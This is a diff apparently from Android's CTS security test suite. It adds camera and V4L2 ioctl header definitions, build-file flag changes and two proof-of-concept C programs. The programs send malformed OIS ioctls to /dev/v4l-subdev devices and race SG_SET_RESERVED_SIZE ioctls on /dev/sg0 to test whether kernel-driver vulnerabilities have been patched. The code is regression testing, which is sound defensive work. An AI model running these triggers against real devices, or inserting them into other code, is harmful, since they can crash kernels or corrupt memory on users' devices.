+#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
+#define _IOR(type, nr, size) \
+  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOW(type, nr, size) \
+  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOWR(type, nr, size) \
+  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+
+enum v4l2_buf_type {
+  V4L2_BUF_TYPE_VIDEO_CAPTURE = 1,
+  V4L2_BUF_TYPE_VIDEO_OUTPUT = 2,
+  V4L2_BUF_TYPE_VIDEO_OVERLAY = 3,
+  V4L2_BUF_TYPE_VBI_CAPTURE = 4,
+  V4L2_BUF_TYPE_VBI_OUTPUT = 5,
+  V4L2_BUF_TYPE_SLICED_VBI_CAPTURE = 6,
+  V4L2_BUF_TYPE_SLICED_VBI_OUTPUT = 7,
+#if 1
+  /* Experimental */
+  V4L2_BUF_TYPE_VIDEO_OUTPUT_OVERLAY = 8,
+#endif
+  V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE = 9,
+  V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE = 10,
+  V4L2_BUF_TYPE_SDR_CAPTURE = 11,
+  /* Deprecated, do not use */
+  V4L2_BUF_TYPE_PRIVATE = 0x80,
+};
+
+struct v4l2_timecode {
+  __u32 type;
+  __u32 flags;
+  __u8 frames;
+  __u8 seconds;
+  __u8 minutes;
+  __u8 hours;
+  __u8 userbits[4];
+};
+
+struct v4l2_buffer {
+  __u32 index;
+  __u32 type;
+  __u32 bytesused;
+  __u32 flags;
+  __u32 field;
+  struct timeval timestamp;
+  struct v4l2_timecode timecode;
+  __u32 sequence;
+
+  /* memory location */
+  __u32 memory;
+  union {
+    __u32 offset;
+    unsigned long userptr;
+    struct v4l2_plane *planes;
+    __s32 fd;
+  } m;
+  __u32 length;
+  __u32 reserved2;
+  __u32 reserved;
+};
+
+#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
+
+enum msm_actuator_cfg_type_t {
+  CFG_GET_ACTUATOR_INFO,
+  CFG_SET_ACTUATOR_INFO,
+  CFG_SET_DEFAULT_FOCUS,
+  CFG_MOVE_FOCUS,
+  CFG_SET_POSITION,
+  CFG_ACTUATOR_POWERDOWN,
+  CFG_ACTUATOR_POWERUP,
+  CFG_ACTUATOR_INIT,
+};
+
+typedef unsigned int compat_uptr_t;
+struct msm_actuator_move_params_t32 {
+  int8_t dir;
+  int8_t sign_dir;
+  int16_t dest_step_pos;
+  int32_t num_steps;
+  uint16_t curr_lens_pos;
+  compat_uptr_t ringing_params;
+};
+
+enum actuator_type {
+  ACTUATOR_VCM,
+  ACTUATOR_PIEZO,
+  ACTUATOR_HVCM,
+  ACTUATOR_BIVCM,
+};
+
+enum i2c_freq_mode_t {
+  I2C_STANDARD_MODE,
+  I2C_FAST_MODE,
+  I2C_CUSTOM_MODE,
+  I2C_CUSTOM1_MODE,
+  I2C_CUSTOM2_MODE,
+  I2C_FAST_PLUS_MODE,
+  I2C_MAX_MODES,
+};
+
+enum msm_camera_i2c_reg_addr_type {
+  MSM_CAMERA_I2C_BYTE_ADDR = 1,
+  MSM_CAMERA_I2C_WORD_ADDR,
+  MSM_CAMERA_I2C_3B_ADDR,
+  MSM_CAMERA_I2C_ADDR_TYPE_MAX,
+};
+
+enum msm_camera_i2c_data_type {
+  MSM_CAMERA_I2C_BYTE_DATA = 1,
+  MSM_CAMERA_I2C_WORD_DATA,
+  MSM_CAMERA_I2C_DWORD_DATA,
+  MSM_CAMERA_I2C_SET_BYTE_MASK,
+  MSM_CAMERA_I2C_UNSET_BYTE_MASK,
+  MSM_CAMERA_I2C_SET_WORD_MASK,
+  MSM_CAMERA_I2C_UNSET_WORD_MASK,
+  MSM_CAMERA_I2C_SET_BYTE_WRITE_MASK_DATA,
+  MSM_CAMERA_I2C_DATA_TYPE_MAX,
+};
+
+struct park_lens_data_t {
+  uint32_t damping_step;
+  uint32_t damping_delay;
+  uint32_t hw_params;
+  uint32_t max_step;
+};
+
+struct msm_actuator_params_t32 {
+  enum actuator_type act_type;
+  uint8_t reg_tbl_size;
+  uint16_t data_size;
+  uint16_t init_setting_size;
+  uint32_t i2c_addr;
+  enum i2c_freq_mode_t i2c_freq_mode;
+  enum msm_camera_i2c_reg_addr_type i2c_addr_type;
+  enum msm_camera_i2c_data_type i2c_data_type;
+  compat_uptr_t reg_tbl_params;
+  compat_uptr_t init_settings;
+  struct park_lens_data_t park_lens;
+};
+
+struct msm_actuator_tuning_params_t32 {
+  int16_t initial_code;
+  uint16_t pwd_step;
+  uint16_t region_size;
+  uint32_t total_steps;
+  compat_uptr_t region_params;
+};
+
+struct msm_actuator_set_info_t32 {
+  struct msm_actuator_params_t32 actuator_params;
+  struct msm_actuator_tuning_params_t32 af_tuning_params;
+};
+
+struct msm_actuator_get_info_t {
+  uint32_t focal_length_num;
+  uint32_t focal_length_den;
+  uint32_t f_number_num;
+  uint32_t f_number_den;
+  uint32_t f_pix_num;
+  uint32_t f_pix_den;
+  uint32_t total_f_dist_num;
+  uint32_t total_f_dist_den;
+  uint32_t hor_view_angle_num;
+  uint32_t hor_view_angle_den;
+  uint32_t ver_view_angle_num;
+  uint32_t ver_view_angle_den;
+};
+
+#define MAX_NUMBER_OF_STEPS 47
+struct msm_actuator_set_position_t {
+  uint16_t number_of_steps;
+  uint32_t hw_params;
+  uint16_t pos[MAX_NUMBER_OF_STEPS];
+  uint16_t delay[MAX_NUMBER_OF_STEPS];
+};
+
+enum af_camera_name {
+  ACTUATOR_MAIN_CAM_0,
+  ACTUATOR_MAIN_CAM_1,
+  ACTUATOR_MAIN_CAM_2,
+  ACTUATOR_MAIN_CAM_3,
+  ACTUATOR_MAIN_CAM_4,
+  ACTUATOR_MAIN_CAM_5,
+  ACTUATOR_WEB_CAM_0,
+  ACTUATOR_WEB_CAM_1,
+  ACTUATOR_WEB_CAM_2,
+};
+
+struct msm_actuator_cfg_data32 {
+  int cfgtype;
+  uint8_t is_af_supported;
+  union {
+    struct msm_actuator_move_params_t32 move;
+    struct msm_actuator_set_info_t32 set_info;
+    struct msm_actuator_get_info_t get_info;
+    struct msm_actuator_set_position_t setpos;
+    enum af_camera_name cam_name;
+  } cfg;
+};
+struct region_params_t {
+  /* [0] = ForwardDirection Macro boundary
+     [1] = ReverseDirection Inf boundary
+  */
+  unsigned short step_bound[2];
+  unsigned short code_per_step;
+  /* qvalue for converting float type numbers to integer format */
+  unsigned int qvalue;
+};
+
+#define VIDIOC_MSM_ACTUATOR_CFG32 \
+  _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_actuator_cfg_data32)
+
+#define VIDIOC_QBUF _IOWR('V', 15, struct v4l2_buffer)
+
+#define I2C_SEQ_REG_DATA_MAX 1024
+
+enum msm_ois_cfg_type_t {
+  CFG_OIS_INIT,
+  CFG_OIS_POWERDOWN,
+  CFG_OIS_POWERUP,
+  CFG_OIS_CONTROL,
+  CFG_OIS_I2C_WRITE_SEQ_TABLE,
+};
+
+enum msm_ois_i2c_operation {
+  MSM_OIS_WRITE = 0,
+  MSM_OIS_POLL,
+};
+
+struct reg_settings_ois_t {
+  uint16_t reg_addr;
+  enum msm_camera_i2c_reg_addr_type addr_type;
+  uint32_t reg_data;
+  enum msm_camera_i2c_data_type data_type;
+  enum msm_ois_i2c_operation i2c_operation;
+  uint32_t delay;
+};
+struct msm_ois_params_t {
+  uint16_t data_size;
+  uint16_t setting_size;
+  uint32_t i2c_addr;
+  enum i2c_freq_mode_t i2c_freq_mode;
+  enum msm_camera_i2c_reg_addr_type i2c_addr_type;
+  enum msm_camera_i2c_data_type i2c_data_type;
+  struct reg_settings_ois_t *settings;
+};
+
+struct msm_ois_set_info_t {
+  struct msm_ois_params_t ois_params;
+};
+
+struct msm_camera_i2c_seq_reg_array {
+  unsigned short reg_addr;
+  unsigned char reg_data[I2C_SEQ_REG_DATA_MAX];
+  unsigned short reg_data_size;
+};
+
+struct msm_camera_i2c_seq_reg_setting {
+  struct msm_camera_i2c_seq_reg_array *reg_setting;
+  unsigned short size;
+  enum msm_camera_i2c_reg_addr_type addr_type;
+  unsigned short delay;
+};
+
+struct msm_ois_cfg_data {
+  int cfgtype;
+  union {
+    struct msm_ois_set_info_t set_info;
+    struct msm_camera_i2c_seq_reg_setting *settings;
+  } cfg;
+};
+
+#define VIDIOC_MSM_OIS_CFG \
+  _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_ois_cfg_data)
+
+#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/poc.c b/hostsidetests/security/securityPatch/Bug-35216793/poc.c
new file mode 100644
index 0000000..314228d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35216793/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/wait.h>
+#include <unistd.h>
+#include <string.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include "local_poc.h"
+
+int main(int argc, char **argv) {
+  int fd, ret, i, count;
+  pthread_t tid[2];
+  char buf[256];
+  char subdev[32] = {0};
+
+  struct msm_ois_cfg_data data;
+  struct msm_ois_set_info_t *info;
+  struct msm_ois_params_t *param;
+
+  count = 0;
+retry:
+  for (i = 0; i < 32; i++) {
+    if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {
+      exit(EXIT_FAILURE);
+    }
+    fd = open(subdev, O_RDWR, 0);
+    if (fd < 0) {
+      return -1;
+    }
+
+    data.cfgtype = CFG_OIS_INIT;
+    ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+    data.cfgtype = CFG_OIS_CONTROL;
+    info = &data.cfg.set_info;
+    param = &info->ois_params;
+    param->i2c_freq_mode = 639630796;
+    param->setting_size = 5;
+    param->settings = 0;
+
+    ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+    close(fd);
+
+    fd = open(subdev, O_RDWR, 0);
+    if (fd < 0) {
+      return -1;
+    }
+
+    data.cfgtype = CFG_OIS_INIT;
+    ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+    data.cfgtype = CFG_OIS_CONTROL;
+    info = &data.cfg.set_info;
+    param = &info->ois_params;
+    param->i2c_freq_mode = 639630796;
+    param->setting_size = 5;
+    param->settings = 0;
+
+    ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+    close(fd);
+  }
+  sleep(0.5);
+  printf("[pid:%d] try %d again!\n", getpid(), ++count);
+  goto retry;
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35468048/Android.mk b/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
index 9213fa3..d3d830f 100644
--- a/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35470735/Android.mk b/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
index 1f14c2c73..13fe6cc 100644
--- a/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
@@ -26,10 +26,8 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -Wno-literal-conversion -Wno-unused-parameter -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35644510/Android.mk b/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
index efe00f2..6ac2bf8 100644
--- a/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
@@ -26,10 +26,14 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts

 

 LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes

+LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-incompatible-pointer-types

+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-pointer-sign -Wno-sign-compare

+LOCAL_CFLAGS += -Wno-format -Wno-parentheses -Wno-unused-function

+LOCAL_CFLAGS += -Wno-pointer-arith -Wno-shadow -Wno-unused-label -Wno-unused-variable

+LOCAL_CFLAGS += -Iinclude -fPIE

 LOCAL_LDFLAGS += -fPIE -pie

 LDFLAGS += -rdynamic

 include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-35644812/Android.mk b/hostsidetests/security/securityPatch/Bug-35644812/Android.mk
new file mode 100644
index 0000000..e02559d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35644812/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35644812
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35644812/poc.c b/hostsidetests/security/securityPatch/Bug-35644812/poc.c
new file mode 100644
index 0000000..c0ca91f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35644812/poc.c
@@ -0,0 +1,106 @@
+/**

+ * Copyright (C) 2017 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+#ifndef _GNU_SOURCE

+#define _GNU_SOURCE

+#endif

+

+#include <string.h>

+

+#include <android/log.h>

+#include <dirent.h>

+#include <dlfcn.h>

+#include <errno.h>

+#include <fcntl.h>

+#include <linux/futex.h>

+#include <pthread.h>

+#include <sched.h>

+#include <signal.h>

+#include <stdbool.h>

+#include <stdio.h>

+#include <stdlib.h>

+#include <sys/ioctl.h>

+#include <sys/mman.h>

+#include <sys/mount.h>

+#include <sys/ptrace.h>

+#include <sys/select.h>

+#include <sys/socket.h>

+#include <sys/stat.h>

+#include <sys/syscall.h>

+#include <sys/system_properties.h>

+#include <sys/time.h>

+#include <sys/types.h>

+#include <sys/un.h>

+#include <sys/utsname.h>

+#include <sys/wait.h>

+#include <unistd.h>

+

+int fd;

+

+void in_cpu() {

+  int num_processors = sysconf(_SC_NPROCESSORS_CONF);

+  cpu_set_t get;

+  int i = 0;

+  CPU_ZERO(&get);

+  sched_getaffinity(0, sizeof(cpu_set_t), &get);

+  for (int i = 0; i < num_processors; i++) {

+    if (CPU_ISSET(i, &get)) {

+      printf("The current thread  bound to core %d\n", i);

+    }

+  }

+}

+static void bind_child_to_cpu() {

+  in_cpu();

+  cpu_set_t set;

+  CPU_ZERO(&set);

+  CPU_SET(1, &set);

+  sched_setaffinity(0, sizeof(set), &set);

+  in_cpu();

+}

+

+#define BLKTRACETEARDOWN _IO(0x12, 118)

+#define SG_SET_RESERVED_SIZE 0x2275

+#define SG_GET_RESERVED_SIZE 0x2272

+static void* overwrite(void* param) {

+  int ret;

+  for (int i = 0; i < 100000; i++) {

+    int size = 0x100;

+    int n = ioctl(fd, SG_SET_RESERVED_SIZE, &size);

+    printf("ioctl error =%d %s\n", n, strerror(errno));

+  }

+  return param;

+}

+

+int functionOne() {

+  sleep(2);

+  char filename[128];

+  strcpy(filename, "/dev/sg0");

+

+  fd = open(filename, 2);

+  if (fd == -1) {

+    return -1;

+  }

+

+  pthread_t thread0;

+  for (int i = 0; i < 2; i++) {

+    if (pthread_create(&thread0, NULL, overwrite, NULL))

+      perror("overwritethread pthread_create()");

+  }

+

+  return 0;

+}

+

+int main(int argc, char** argv, char** env) { return functionOne(); }

diff --git a/hostsidetests/security/securityPatch/Bug-35644815/Android.mk b/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
index 1dd2950..4d939c3 100644
--- a/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
@@ -26,10 +26,12 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-missing-braces -Wno-missing-field-initializers -Wno-parentheses
+LOCAL_CFLAGS += -Wno-sign-compare -Wno-unused-parameter -Wno-unused-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/Android.mk b/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
index 41ba50d..9049fa3 100644
--- a/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-packed
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35764875/Android.mk b/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
index e62bdd2..562c1a5 100644
--- a/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
@@ -28,10 +28,12 @@
 LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/

 

 LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes

+LOCAL_CFLAGS += -Wno-unused-variable -Wno-sign-compare

+LOCAL_CFLAGS += -Wno-format -Wno-format-extra-args -Wno-unused-parameter -Wno-user-defined-warnings

+LOCAL_CFLAGS += -Iinclude -fPIE

 LOCAL_LDFLAGS += -fPIE -pie

 LDFLAGS += -rdynamic

 include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-35950388/Android.mk b/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
index 824e86f..4d71848 100644
--- a/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts

 LOCAL_C_INCLUDES += include

 LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined

+LOCAL_CFLAGS += -Iinclude -fPIE

 LOCAL_LDFLAGS += -fPIE -pie

 LDFLAGS += -rdynamic

 include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-35950805/Android.mk b/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
index 11c4e46..4594ac2 100644
--- a/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-35950805/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36266767/Android.mk b/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
index 2a1edd0..998ca34 100644
--- a/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36266767/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36591162/Android.mk b/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
index ee17cb7..19bba1c 100644
--- a/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
+++ b/hostsidetests/security/securityPatch/Bug-36591162/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
